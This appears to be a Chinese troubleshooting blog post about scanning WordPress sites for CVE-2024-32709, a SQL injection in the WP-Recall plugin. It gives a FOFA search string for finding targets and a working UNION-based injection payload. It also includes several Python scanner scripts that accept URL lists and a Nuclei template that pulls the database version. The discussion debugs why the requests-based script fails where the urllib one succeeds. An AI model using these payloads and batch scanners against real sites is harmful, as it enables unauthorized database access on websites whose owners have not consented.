【问题整理】CVE-2024-32709-POC脚本问题

时间:2024-07-17 07:07:47

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

问题描述:

写了个脚本想扫CVE-2024-32709漏洞
然后,yakit发的包响应里有我插入的md5(123456)
同样的payload放在.py中就没有成功插入

漏洞描述:

CVE-2024-32709 SQL注入漏洞:
WordPress是一款免费开源的内容管理系统(CMS),最初是一个博客平台,但后来发展成为一个功能强大的网站建设工具,适用于各种类型的网站,包括个人博客、企业网站、电子商务网站等,并逐步演化成一款内容管理系统软件。其插件WP-Recall其插件存在account存在SQL注入漏洞,攻击者可通过该漏洞获取数据库敏感信息。

fofa:“/wp-content/plugins/wp-recall/”

构造的数据包:

GET /account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5(123456),0x7c),13--+- HTTP/1.1
Host: xxx.xxx

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

响应MD5(123456):e10adc3949ba59abbe56e057f20f883e

CVE-2024-32709.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 导入所需的库
import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning

# 定义终端输出颜色
RED = '\033[91m'
RESET = '\033[0m'

# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# 定义函数,用于检查URL是否存在特定的SQL注入漏洞
def check_vulnerability(url):
    try:
        # 构造用于检测的URL,添加了特定的SQL注入测试代码
        attack_url = url.rstrip('/') + "/account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5(123456),0x7c),13--+-"

        # 发送GET请求到攻击URL,不验证SSL证书,设置超时时间
        print(f"正在检测URL [{attack_url}]...")
        response = requests.get(attack_url, verify=False, timeout=10)

        # 检查响应状态码和响应内容,判断是否存在漏洞
        if response.status_code == 200 and "e10adc3949ba59abbe56e057f20f883e" in response.text:
            print(f"{RED}URL [{url}] 可能存在CVE-2024-32709 漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    # 捕获请求超时异常
    except requests.exceptions.Timeout:
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    # 捕获其他请求异常
    except requests.RequestException as e:
        print(f"URL [{url}] 请求失败: {e}")

# 主函数,解析命令行参数并执行检测
def main():
    # 创建参数解析器,用于解析命令行输入
    parser = argparse.ArgumentParser(description='检测目标地址是否存在CVE-2024-32709 漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    # 解析命令行参数
    args = parser.parse_args()

    # 如果提供了URL参数,检查该URL
    if args.url:
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    # 如果提供了文件参数,逐行检查文件中的URL
    elif args.file:
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

# 程序入口点
if __name__ == '__main__':
    main()

GitHub-poc.py

import urllib.request
import urllib3
import re,string,random
from urllib.parse import urljoin
import argparse
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    url = url.rstrip("/")
    target = url+"/account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5(123456),0x7c),13--+-"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
    }
    try:

        response = urllib.request.Request(target, headers=headers, method="GET", unverifiable=True)
        res = urllib.request.urlopen(response)
        status_code = res.getcode()
        content = res.read().decode()
        if status_code == 200 and 'e10adc3949ba59abbe56e057f20f883e' in content:
            print(f"\033[31mDiscovered;{url}: WordPressRecall_CVE-2024-32709_SQLInject!\033[0m")
            return True
    except Exception as e:
        pass


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")

nuclei官方poc

id: CVE-2024-32709

info:
  name: WP-Recall <= 16.26.5 - SQL Injection
  author: securityforeveryone
  severity: critical
  description: |
    The WP-Recall Registration, Profile, Commerce & More plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 16.26.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  remediation: Fixed in 16.26.6
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32709
    - https://github.com/truonghuuphuc/CVE-2024-32709-Poc
    - https://patchstack.com/database/vulnerability/wp-recall/wordpress-wp-recall-plugin-16-26-5-sql-injection-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2024-32709
    cwe-id: CWE-89
    epss-score: 0.00043
    epss-percentile: 0.0866
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/wp-recall/"
  tags: cve,cve2024,wp-plugin,wp-recall,wordpress,wp,sqli

variables:
  num: "999999999"

http:
  - raw:
      - |
        GET /account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5({{num}}),0x7c,%20%22Version:%22,version()),13--+- HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200
# digest: 490a004630440220133ca9cf2f1029c377a0637602b2f99279abe7bbcad1da1f3e66733f6563d26e02207da0cf317afc9c589b8a2c4e7551e7613d75b026f1d89f2fd06642435a38b96f:922c64590222798bb761d5b6d8e72950

问题分析

这两个脚本都是用于检测目标URL是否存在特定的SQL注入漏洞,但是它们在发送请求和处理数据包的方式上存在一些区别。下面我将对这两个脚本进行详细的对比分析:

1. 请求库的使用

  • GitHub-poc.py 使用了 urllib.requesturllib3 库来发送HTTP请求。urllib3 被用来禁用SSL证书验证警告。
  • CVE-2024-32709.py 使用了 requests 库,它是一个更现代且易于使用的HTTP库。同样,它也禁用了SSL证书验证警告,但使用的是 requests 库的API。

2. SSL证书验证

  • 两个脚本都禁用了SSL证书验证,以允许脚本向HTTPS网站发送请求而不会因为证书问题而失败。这是通过设置 ssl._create_default_https_context = ssl._create_unverified_contextrequests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 实现的。

3. 构造请求URL

  • 两个脚本都构造了一个用于检测SQL注入漏洞的特定URL。它们在URL的构造上使用了相似的字符串,但具体的实现方式略有不同。

4. 发送请求

  • GitHub-poc.py 使用 urllib.request.Request 来创建请求对象,并使用 urllib.request.urlopen 来发送请求。
  • CVE-2024-32709.py 使用 requests.get 方法来发送GET请求,这更加简洁和直观。

5. 处理响应

  • GitHub-poc.py 检查响应的状态码和内容,如果状态码是200并且内容中包含特定的MD5哈希值(e10adc3949ba59abbe56e057f20f883e),则认为存在漏洞。
  • CVE-2024-32709.py 也检查状态码和响应文本,但是它还额外捕获了请求超时异常,并在请求失败时提供更详细的错误信息。

6. 命令行参数解析

  • 两个脚本都使用了 argparse 库来解析命令行参数,允许用户指定单个URL或包含多个URL的文件。

7. 输出格式

  • GitHub-poc.py 使用ANSI转义序列来输出红色文本,以高亮显示发现的漏洞。
  • CVE-2024-32709.py 也使用ANSI转义序列,但是它定义了颜色常量来提高代码的可读性。

8. 异常处理

  • GitHub-poc.py 在捕获异常时没有提供详细的错误信息,只是简单地使用 pass 忽略异常。
  • CVE-2024-32709.py 则提供了更详细的异常处理,包括请求超时和请求失败的情况。

总结来说,CVE-2024-32709.py 在代码的可读性、异常处理和用户交互方面做得更好,而 GitHub-poc.py 在发送请求的方式上可能更传统一些。两个脚本在核心功能上是相似的,但在实现细节上有所不同。

两个脚本在发送请求时使用的库和方法不同,这可能导致请求包在某些方面存在差异。下面我将从几个关键方面对比两个脚本的请求包差异:

1. HTTP请求方法

  • 两个脚本都使用了GET方法发送请求。

2. 请求头(Headers)

  • GitHub-poc.py 脚本中设置了User-Agent请求头,而CVE-2024-32709.py脚本中没有设置请求头。不同的User-Agent可能会影响服务器对请求的处理。

3. SSL证书验证

  • 两个脚本都禁用了SSL证书验证,这意味着它们在处理HTTPS请求时不会验证服务器的SSL证书。

4. URL构造

  • 两个脚本构造的URL用于检测SQL注入漏洞,但它们在构造URL时的具体实现略有不同。这可能会影响最终发送到服务器的请求URI。

5. 请求超时设置

  • CVE-2024-32709.py 脚本在发送请求时设置了超时时间(timeout=10),而GitHub-poc.py 脚本中没有明确设置超时时间。

6. 异常处理

  • CVE-2024-32709.py 脚本捕获了请求超时异常,并在请求失败时提供了错误信息,这可能会影响请求包的发送和接收流程。

7. 库的特性

  • GitHub-poc.py 使用的urllib.request库是Python标准库的一部分,而CVE-2024-32709.py 使用的requests库是一个第三方库,具有更丰富的特性和更易用的API。

8. 响应处理

  • 两个脚本在处理响应时的方法不同,这可能会影响它们对请求包的处理方式。

总结来说,两个脚本在发送请求时的主要差异在于请求头的设置、异常处理和使用的库。这些差异可能会导致请求包在某些方面存在细微的差别,例如请求头的不同可能会影响服务器的响应行为。然而,两个脚本的核心功能——检测SQL注入漏洞——是相似的。

解决意见

要给 CVE-2024-32709.py 脚本添加与 GitHub-poc.py 脚本相同的请求头,你需要在 requests.get 函数调用中使用 headers 参数。以下是修改后的 CVE-2024-32709.py 脚本的相关部分:

# 定义函数,用于检查URL是否存在特定的SQL注入漏洞
def check_vulnerability(url):
    try:
        # 构造用于检测的URL,添加了特定的SQL注入测试代码
        attack_url = url.rstrip('/') + "/account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5(123456),0x7c),13--+-"

        # 设置请求头
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
        }

        # 发送GET请求到攻击URL,不验证SSL证书,设置超时时间,并添加请求头
        print(f"正在检测URL [{attack_url}]...")
        response = requests.get(attack_url, headers=headers, verify=False, timeout=10)

        # 检查响应状态码和响应内容,判断是否存在漏洞
        if response.status_code == 200 and "e10adc3949ba59abbe56e057f20f883e" in response.text:
            print(f"{RED}URL [{url}] 可能存在CVE-2024-32709 漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    # 捕获请求超时异常
    except requests.exceptions.Timeout:
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    # 捕获其他请求异常
    except requests.RequestException as e:
        print(f"URL [{url}] 请求失败: {e}")

这段代码中,我添加了一个名为 headers 的字典,其中包含了与 GitHub-poc.py 脚本相同的 User-Agent 请求头。然后在 requests.get 函数调用中,通过 headers=headers 参数将这个请求头传递给请求。

这样修改后,CVE-2024-32709.py 脚本在发送请求时就会包含与 GitHub-poc.py 相同的请求头,从而使得两个脚本在发送请求时更加一致。

修改后尝试2.0

CVE-2024-32709.py添加与GitHub-poc.py脚本相同的请求头

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

依然不行

数据对比

GitHub-poc:

https://xxx.xxx/account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5(123456),0x7c),13–±

CVE-2024-32709:

https://xxx.xxx/account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5(123456),0x7c),13–±

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

payload完全相同

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

页面也有md5(123456)回显

test-requests.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
from requests.exceptions import RequestException

# 目标URL,注意这里使用的是示例域名,请替换为实际的测试目标
target_url = "http://xxx.xxx/account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5(123456),0x7c),13--+-"

# 定义请求头
headers = {
    "User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
    "Host": "xxx.xxx",  # 添加Host头,匹配你的请求示例
}

def send_request(url, headers):
    try:
        # 发送GET请求
        response = requests.get(url, headers=headers, timeout=10)
        
        # 打印状态码和响应内容
        print(f"Status Code: {response.status_code}")
        print("Response Content:")
        print(response.text)
        
    except RequestException as e:
        # 打印请求过程中发生的任何异常
        print(f"An error occurred: {e}")

# 调用函数发送请求
send_request(target_url, headers)

test-urllib

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import urllib.request
from urllib.error import URLError, HTTPError
from urllib.parse import urlencode
import ssl

# 禁用SSL证书验证警告
ssl._create_default_https_context = ssl._create_unverified_context

# 目标URL的基础部分
base_url = "https://xxx.xxx/account/?"

# 构造查询字符串,注意URL编码以确保特殊字符正确处理
query_string = {
    "user": "1",
    "tab": "groups",
    "group-name": "p' or '%27'='%27' union all select 1,2,3,4,5,6,7,8,9,10,11,concat('Database:',md5(123456),0x7c),13-- +-"
}
encoded_query_string = urlencode(query_string)

# 完整的请求URL
target_url = base_url + encoded_query_string

# 定义请求头
headers = {
    "User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
    "Host": "xxx.xxx"
}

# 创建请求对象
req = urllib.request.Request(target_url, headers=headers)

def send_request(url, headers):
    try:
        # 发送GET请求
        with urllib.request.urlopen(req) as response:
            # 打印状态码
            print(f"Status Code: {response.getcode()}")
            # 读取并打印响应内容
            content = response.read().decode('utf-8')
            print("Response Content:")
            print(content)
            
    except HTTPError as e:
        # 打印HTTP错误
        print(f"HTTP Error: {e.code}, {e.reason}")
    except URLError as e:
        # 打印URL错误
        print(f"URL Error: {e.reason}")
    except Exception as e:
        # 打印其他异常
        print(f"An error occurred: {e}")

# 调用函数发送请求
send_request(target_url, headers)

结果对比

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

总结:

使用requests不行,使用urllib可以。

对比:

基于我提供的两个脚本示例,我们来对比它们的请求部分,并分析可能导致响应内容不同的原因:

1. 请求URL的构造

  • requests脚本:直接构造了完整的攻击URL字符串。
  • urllib脚本:基础URL与查询字符串分离,查询字符串通过urlencode处理,然后拼接成完整URL。

2. 请求头(Headers)

  • 两个脚本都设置了相同的请求头,包括User-AgentHost

3. SSL证书验证

  • requests脚本:通过verify=False参数禁用SSL证书验证。
  • urllib脚本:通过修改ssl._create_default_https_context函数来禁用SSL证书验证。

4. 发送请求

  • requests脚本:使用requests.get方法,该方法封装了请求的发送和响应的处理。
  • urllib脚本:使用urllib.request.Request创建请求对象,然后调用urllib.request.urlopen发送请求。

5. 异常处理

  • requests脚本:捕获了RequestException,这是requests库中用于表示请求相关的异常的基类。
  • urllib脚本:没有明确捕获特定的网络或请求异常。

6. 响应处理

  • requests脚本:通过response.text获取响应内容的文本形式。
  • urllib脚本:通过res.read().decode()读取并解码响应内容。

可能导致响应内容不同的原因分析:

  1. 请求参数编码:如果urllib脚本中的urlencode处理与requests脚本中的URL构造存在差异,可能会导致服务器解析请求时产生不同的行为。

  2. 请求执行时机:两个脚本几乎是同时运行,服务器状态或会话信息的变化可能导致不同的响应。

  3. 异常处理差异urllib脚本没有捕获和处理可能发生的网络异常,这可能导致在遇到问题时没有正确记录或处理,从而影响输出。

  4. 超时设置requests脚本中设置了超时,而urllib脚本示例中没有设置超时,这可能影响在网络延迟情况下的响应。

  5. 服务器配置:服务器可能有特定的配置针对不同的请求处理方式,例如基于请求来源的IP地址、端口或其他网络层面的因素。

  6. 脚本执行顺序和服务器状态:如果两个脚本几乎是同时运行的,服务器状态或会话信息的变化可能导致不同的响应。

  7. 脚本中的其他逻辑:可能脚本中还有其他未展示的逻辑,如重试机制、日志记录等,这些也可能导致最终接收到的响应不同。

要准确地找出为什么两个脚本接收到的响应包不同,需要更详细地检查两个脚本的请求构造、执行环境、服务器配置以及网络条件等因素。此外,使用网络抓包工具(如Wireshark)可以帮助分析实际发送和接收的数据包,进一步诊断问题。